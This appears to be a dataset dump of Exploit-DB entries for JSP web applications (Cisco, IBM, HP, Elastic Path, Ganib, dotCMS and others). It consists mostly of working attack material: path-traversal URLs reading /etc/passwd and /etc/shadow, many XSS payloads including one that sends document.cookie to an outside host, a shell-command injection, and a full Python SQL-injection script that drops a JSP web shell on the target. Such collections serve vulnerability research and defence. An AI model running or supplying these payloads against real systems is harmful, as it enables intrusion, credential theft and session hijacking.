deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24786
Description: Cisco Video Surveillance Operations Manager 6.3.2 - Multiple Vulnerabilities
Type: webapps
Platform: jsp
Date: 2013-03-15
Author: Bassem

Exploit:
# Exploit Title:Cisco Video Surveillance Operations Manager Multiple
vulnerabilities
# Google Dork: intitle:"Video Surveillance Operations Manager > Login"
# Date: 22 Feb 2013 reported to the vendor
# Exploit Author: Bassem | bassem.co
# Vendor Homepage: www.cisco.com
# Version: Version 6.3.2
# Tested on: Version 6.3.2


#1- The application is vulnerable to Local file inclusion

read_log.jsp and read_log.dep not validate the name and location of the log
file , un authenticated remote attacker can perform this

---------------------------------------------
read_log.jsp:
/usr/BWhttpd/root/htdocs/BWT/utils/logs
from /usr/BWhttpd/logs/<%= logName %>
---------------------------------------------
---------------------------------------------
read_log.dep

<%!
        protected LinkedList getBwhttpdLog( String logName, String theOrder
) {
                String logPath  = "/usr/BWhttpd/logs/";
                String theLog   = logPath + logName;
                LinkedList resultList = new LinkedList();
                try {
                                BufferedReader in = new BufferedReader(new
FileReader(theLog));
                                String theLine = "";
                                        while( (theLine = in.readLine()) !=
null ) {
                                                if(
theOrder.indexOf("descending") > -1 ) {

resultList.addFirst(theLine);
                                                } else {

resultList.addLast(theLine);
                                                }
                                        }
-----------------------------------------------
POC:

http://serverip/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/passwd
http://serverip/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/shadow

#####################################################################

#2- The application is vulnerable to local file inclusion

select and display log not validate the log file names , If attacker pass
/etc/passwd through the http post request system will display it as log
file

POC:

http://serverip/monitor/logselect.php


#####################################################################


#3  Cisco Video Surveillance Operations Manager Version 6.3.2 doesn't
perform the proper authentication for the management and view console,
Remote attacker can gain access to the system and view the attached cameras
without authentication

POC:

http://serverip/broadware.jsp


#####################################################################


#4 Application is vulnerable to XSS

The web application doesn't perform validation for the inputs/outputs for
many of its pages so its vulnerable to XSS attacks

POC: http://serverip/vsom/index.php/
"/title><script>alert("ciscoxss");</script>




-- 
Best Regards
Bassem
Exploit-DB #27684
Description: Cisco Wireless Lan Solution Engine - ArchiveApplyDisplay.jsp Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2006-04-19
Author: Adam Pointon

Exploit:
source: https://www.securityfocus.com/bid/17604/info

CiscoWorks Wireless LAN Solution Engine (WLSE) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal JSP session cookie-based authentication credentials and launch other attacks.

http://www.example.com/wlse/configure/archive/archiveApplyDisplay.jsp?displayMsg=<script>document.location='http://www.example2.com?'+document.cookie</script>
Exploit-DB #33691
Description: Comptel Provisioning and Activation - 'index.jsp?error_msg_parameter' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2010-03-04
Author: thebluegenius

Exploit:
source: https://www.securityfocus.com/bid/38534/info

Comptel Provisioning and Activation is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/sas5/index.jsp?error_msg_parameter=%3CScRiPt%3Ealert%28%27XSS%27%29%3C/ScRiPt%3E
Exploit-DB #34440
Description: Computer Associates Oneview Monitor 6.0 - 'doSave.jsp' Remote Code Execution
Type: webapps
Platform: jsp
Date: 2010-08-12
Author: Giorgio Fedon

Exploit:
source: https://www.securityfocus.com/bid/42413/info

Computer Associates Oneview Monitor is prone to a remote code-execution vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to inject and execute arbitrary JSP code in the context of the affected webserver. 

The following example URI is available:

ttp://www.example.com/sitemindermonitor/doSave.jsp?file=../attacksample.jsp
Exploit-DB #25159
Description: cyclades alterpath manager 1.1 - Multiple Vulnerabilities
Type: webapps
Platform: jsp
Date: 2005-02-24
Author: sullo@cirt.net

Exploit:
source: https://www.securityfocus.com/bid/12649/info

Cyclades AlterPath Manager is a network device designed to facilitate remote administration of all network-accessible infrastructure resources.

Multiple remote vulnerabilities affect Cyclades AlterPath Manager. These issues are due to various design errors that affect the overall security of the vulnerable device.

The first issue is an information disclosure issue. The second would allow unauthorized access to restricted console resources. Finally the third issue will facilitate privilege escalation.

An attacker may leverage these issues to gain unauthorized access to network-based resources, to gain escalated privileges and to gain access to potentially sensitive information.

It should be noted that although only version 1.1.0 of the software is reported affected by these issues, it is likely earlier versions are affected as well. 

To access a restricted console resource:
http://www.example.com/usermode/consoleConnect.jsp?consolename=console_name

To gain escalated privileges:
http://www.example.com/application/saveUser.do?userId=9&[CREDENTIAL_REDACTED]=my_id&fullName=My+name&department=Security&location=Work&phone=555-1212&mobile=&pager=&email=test%40example.com&status=Enable&local[CREDENTIAL_REDACTED]=true&forward=&action=Save
Exploit-DB #37550
Description: DataWatch Monarch Business Intelligence - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: jsp
Date: 2012-07-31
Author: Raymond Rizk

Exploit:
source: https://www.securityfocus.com/bid/54733/info

DataWatch Monarch Business Intelligence is prone to multiple input validation vulnerabilities.

Successful exploits will allow an attacker to manipulate the XPath query logic to carry out unauthorized actions on the XML documents of the application. It will also allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

DataWatch Monarch Business Intelligence 5.1 is vulnerable; other versions may also be affected. 

http://www.example.com/ESAdmin/jsp/tabview.jsp?mode=add</script><script>alert(1)</script>&type=2&renew=1&pageid=PAGE_MPROCESS

http://www.example.com/ESClient/jsp/customizedialog.jsp?templateType=-1&doctypeid=122&activetab=DM_DOCUMENT_LIST&fields=filter;sort;summary;&searchtype=document'&doclist.jsp
Exploit-DB #52079
Description: dizqueTV 1.5.3 - Remote Code Execution (RCE)
Type: webapps
Platform: jsp
Date: 2024-10-01
Author: Ahmed Said Saud Al-Busaidi

Exploit:
# Exploit Title: dizqueTV 1.5.3 - Remote Code Execution (RCE)
# Date: 9/21/2024
# Exploit Author: Ahmed Said Saud Al-Busaidi
# Vendor Homepage: https://github.com/vexorian/dizquetv
# Version: 1.5.3
# Tested on: linux

POC:

## Vulnerability Description

dizqueTV 1.5.3 is vulnerable to unauthorized remote code execution from attackers.

## STEPS TO REPRODUCE

1. go to http://localhost/#!/settings 

2. now go to ffmpeg settings and change the FFMPEG Executable Path to: "; cat /etc/passwd && echo 'poc'"

3. click on update

4. now visit http://localhost/#!/version or click on version and you should see the content of /etc/passwd
Exploit-DB #46825
Description: dotCMS 5.1.1 - HTML Injection
Type: webapps
Platform: jsp
Date: 2019-05-10
Author: Ismail Tasdelen

Exploit:
# Exploit Title: dotCMS 5.1.1 - HTML Injection
# Date: 2019-05-09 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://dotcms.com/
# Software Link: https://github.com/dotCMS
# Software: dotCMS
# Product Version: 5.1.1
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection and Cross-site Scripting
# CVE: CVE-2019-11846

# HTTP POST Request :

POST /servlets/ajax_file_upload?fieldName=binary3 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/c/portal/layout?p_l_id=b7ab5d3c-5ee0-4195-a17e-8f5579d718dd&p_p_id=site-browser&p_p_action=1&p_p_state=maximized&angularCurrentPortlet=site-browser&p_p_mode=view&_site_browser_struts_action=%2Fext%2Fcontentlet%2Fedit_contentlet&_site_browser_cmd=new&selectedStructure=33888b6f-7a8e-4069-b1b6-5c1aa9d0a48d&folder=SYSTEM_FOLDER&referer=/c/portal/layout%3Fp_l_id%3Db7ab5d3c-5ee0-4195-a17e-8f5579d718dd%26p_p_id%3Dsite-browser%26p_p_action%3D0%26p_p_state%3Dmaximized%26angularCurrentPortlet%3Dsite-browser%26p_p_mode%3Dview%26_site_browser_struts_action%3D%252Fext%252Fbrowser%252Fview_browser&in_frame=true&frame=detailFrame&container=true&angularCurrentPortlet=site-browser
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]87956669
Content-Length: 101313
DNT: 1
Connection: close
Cookie: messagesUtk=2366e7c3b5af4c8c93bb11d0c994848a; BACKENDID=172.18.0.3; JSESSIONID=65C16EFBEE5B7176B22083A0CA451F0A.c16f6b7d05d9; hs-messages-hide-welcome-message=true; [CREDENTIAL_REDACTED].eyJqdGkiOiJkZGFlZmEzNS0yYmMyLTQ4MTEtOTRjNi0xNGE0OTk4YzFkNDAiLCJpYXQiOjE1NTczOTY0NzYsInVwZGF0ZWRfYXQiOjEyMDQ4MjQ5NjEwMDAsInN1YiI6ImRvdGNtcy5vcmcuMSIsImlzcyI6IjRiNTkyYjIyLTBiMmEtNGI2ZC05NmU4LTdjMzBiMzgzOTM1ZiJ9.F8_L_Cu96pkYcwTl4ex_zfrA-Fk-rqNUz24oCV0gOmc; DWRSESSIONID=EZToDkzmi*mMXCayMxskFA75sGm
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]87956669
Content-Disposition: form-data; name="binary3FileUpload"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")> .json"
Content-Type: application/json

# HTTP Response :

HTTP/1.1 200 
Content-Length: 0
Date: Thu, 09 May 2019 10:23:44 GMT
Connection: close
Exploit-DB #31446
Description: Elastic Path 4.1 - '/manager/FileManager.jsp?dir' Traversal Arbitrary Directory Listing
Type: webapps
Platform: jsp
Date: 2008-03-20
Author: Daniel Martin Gomez

Exploit:
source: https://www.securityfocus.com/bid/28352/info
 
Elastic Path is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.
 
These issues include:
 
- A local file-include vulnerability.
- An arbitrary file-upload vulnerability.
- A directory-traversal vulnerability.
 
Note that attackers must be logged into the application to exploit issues.
 
Exploiting these issues can allow attackers to access potentially sensitive information or to execute arbitrary script code in the context of the webserver process. Other attacks may also be possible.
 
Elastic Path 4.1 and 4.1.1 are vulnerable; other versions may also be affected. 

http://www.example.com/elasticpath_dir/manager/fileManager.jsp?dir=../../../../WINDOWS/system32/config/
Exploit-DB #31445
Description: Elastic Path 4.1 - '/manager/getImportFileRedirect.jsp?file' Traversal Arbitrary File Access
Type: webapps
Platform: jsp
Date: 2008-03-20
Author: Daniel Martin Gomez

Exploit:
source: https://www.securityfocus.com/bid/28352/info

Elastic Path is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.

These issues include:

- A local file-include vulnerability.
- An arbitrary file-upload vulnerability.
- A directory-traversal vulnerability.

Note that attackers must be logged into the application to exploit issues.

Exploiting these issues can allow attackers to access potentially sensitive information or to execute arbitrary script code in the context of the webserver process. Other attacks may also be possible.

Elastic Path 4.1 and 4.1.1 are vulnerable; other versions may also be affected. 

http://www.example.com/elasticpath_dir/manager/getImportFileRedirect.jsp?type=mapping&file=../../../../../boot.ini
Exploit-DB #31874
Description: Ganib Project Management 2.3 - SQL Injection
Type: webapps
Platform: jsp
Date: 2014-02-24
Author: drone

Exploit:
# Exploit title: Ganib 2.x SQLi
# Date: 02/02/2014
# Exploit author: drone (@dronesec)
# More information: http://forelsec.blogspot.com/2014/02/ganib-project-management-23-multiple.html
# Vendor homepage: http://www.ganib.com/
# Software link: http://downloads.sourceforge.net/project/ganib/Ganib-2.0/Ganib-2.0_with_jre.zip
# Version: <= 2.3
# Fixed in: 2.4
# Tested on: Ubuntu 12.04 (apparmor disabled) / WinXP SP3

from argparse import ArgumentParser
import sys
import string
import random
import requests

""" Ganib 2.0 preauth SQLi PoC
    @dronesec
"""

def loadJSP(options):
    data = ''

    try:
        with open(options.jsp) as f:
            for line in f.readlines():
                data += line.replace("\"", "\\\"").replace('\n', '')
    except Exception, e:
        print e
        sys.exit(1)

    return data

def run(options):
    print '[!] Dropping %s on %s...' % (options.jsp, options.ip)

    url = "http://{0}:8080/LoginProcessing.jsp".format(options.ip)
    shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))

    exploit = '1 UNION SELECT "{0}","1","2","3" INTO OUTFILE "{1}"'
    exploit = exploit.format(loadJSP(options), options.path + '/%s.jsp' % shell)

    data = { "theAction" : "submit",
             "J_USERNAME" : "test",
             "J_PASSWORD" : "test",
             "language" : "en",
             "remember_checkbox" : "on",
             "userDomain" : exploit
           }

    res = requests.post(url, data=data)
    if res.status_code is 200:
        print '[!] Dropped at /{0}.jsp'.format(shell)
    else:
        print '[!] Failed to drop JSP (HTTP {0})'.format(res.status_code)


def parse():
    parser = ArgumentParser()
    parser.add_argument("-i", help='Server ip address', action='store', dest='ip',
                        required=True)
    parser.add_argument("-p", help='Writable web path (/var/www/ganib)', dest='path',
                        action='store', default='/var/www/ganib')
    parser.add_argument("-j", help="JSP to deploy", dest='jsp', action='store')

    options = parser.parse_args()
    options.path = options.path if options.path[-1] != '/' else options.path[:-1]
    return options

if __name__ == "__main__":
    run(parse())
Exploit-DB #36353
Description: HP Network Node Manager (NMM) i 9.10 - '/nnm/mibdiscover?node' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2011-11-24
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/50806/info

HP Network Node Manager i is prone to multiple unspecified cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/nnm/mibdiscover?node=[xss]
Exploit-DB #36354
Description: HP Network Node Manager (NMM) i 9.10 - 'nnm/protected/configurationpoll.jsp?nodename' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2011-11-24
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/50806/info
 
HP Network Node Manager i is prone to multiple unspecified cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/nnm/protected/configurationpoll.jsp?nodename=[xss]
Exploit-DB #36355
Description: HP Network Node Manager (NMM) i 9.10 - 'nnm/protected/ping.jsp?nodename' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2011-11-24
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/50806/info
  
HP Network Node Manager i is prone to multiple unspecified cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/protected/ping.jsp?nodename=[xss]
Exploit-DB #36356
Description: HP Network Node Manager (NMM) i 9.10 - 'nnm/protected/statuspoll.jsp?nodename' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2011-11-24
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/50806/info
   
HP Network Node Manager i is prone to multiple unspecified cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
   
http://www.example.com/nnm/protected/statuspoll.jsp?nodename=[xss]
Exploit-DB #36357
Description: HP Network Node Manager (NMM) i 9.10 - 'nnm/protected/traceroute.jsp?nodename' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2011-11-24
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/50806/info
    
HP Network Node Manager i is prone to multiple unspecified cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
    
http://www.example.com/protected/traceroute.jsp?nodename=[xss]
Exploit-DB #33675
Description: IBM (Multiple Products) - Login Page Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2010-02-25
Author: Oren Hafif

Exploit:
source: https://www.securityfocus.com/bid/38412/info

Multiple IBM products are prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects IBM Lotus Web Content Management, WebSphere Portal, and Lotus Quickr. 


http://www.example.com/wps/wcm/webinterface/login/login.jsp?";><script>maliciou s_script</script><b%20"

http://www.example.com/wps/wcm/webinterface/login/login.jsp?"; style="tr:expression(malicious_script)
Exploit-DB #32046
Description: IBM Maximo 4.1/5.2 - '/debug.jsp' HTML Injection / Information Disclosure
Type: webapps
Platform: jsp
Date: 2008-07-11
Author: Deniz Cevik

Exploit:
source: https://www.securityfocus.com/bid/30180/info

IBM Maximo is prone to multiple HTML-injection vulnerabilities and an information-disclosure vulnerability.

An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. Code execution may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Information obtained may aid in further attacks.

These issues affect IBM Maximo 4.1 and 5.2; other versions may also be vulnerable. 

GET /jsp/common/system/debug.jsp HTTP/1.1
Accept: <script>alert('XSS');</script>
Accept-Language: <script>alert('XSS');</script>
UA-CPU: <script>alert('XSS');</script>
Accept-Encoding: <script>alert('XSS');</script>
User-Agent: <script>alert('XSS');</script>
Host: maximo
Connection: Keep-Alive
Cookie: <script>alert('XSS');</script>
Exploit-DB #33292
Description: IBM Rational RequisitePro 7.10 - 'ReqWeb Help Feature ReqWebHelp/advanced/workingSet.jsp?Operation' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2009-10-15
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/36721/info

IBM Rational RequisitePro is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect IBM Rational RequisitePro 7.10; other versions may also be affected. 

http://www.example.com/ReqWebHelp/advanced/workingSet.jsp?operation=add*/--></script><script>alert(289325)</script>&workingSet=
Exploit-DB #33293
Description: IBM Rational RequisitePro 7.10 - ReqWeb Help Feature 'ReqWebHelp/basic/searchView.jsp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2009-10-15
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/36721/info
 
IBM Rational RequisitePro is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect IBM Rational RequisitePro 7.10; other versions may also be affected. 

http://www.example.com/ReqWebHelp/basic/searchView.jsp?searchWord=>''><script>alert(306531)</script>&maxHits=>''><script>alert(306531)</script>&scopedSearch=>''><script>alert(306531)</script>&scope=>''><script>alert(306531)</script>
Exploit-DB #10094
Description: IBM Rational RequisitePro 7.10 / ReqWebHelp - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2009-10-15
Author: IBM

Exploit:
Attackers can exploit these issues by enticing an unsuspecting victim into following a malicious URI.

The following example URIs are available:

http://www.example.com/ReqWebHelp/advanced/workingSet.jsp?operation=add*/--&gt;&lt;/script&gt;&lt;script&gt;alert(289325)&lt;/script&gt;&amp;workingSet=

http://www.example.com/ReqWebHelp/basic/searchView.jsp?searchWord=&gt;''&gt;&lt;script&gt;alert(306531)&lt;/script&gt;&amp;maxHits=&gt;''&gt;&lt;script&gt;alert(306531)&lt;/script&gt;&amp;scopedSearch=&gt;''&gt;&lt;script&gt;alert(306531)&lt;/script&gt;&amp;scope=&gt;''&gt;&lt;script&gt;alert(306531)&lt;/script&gt;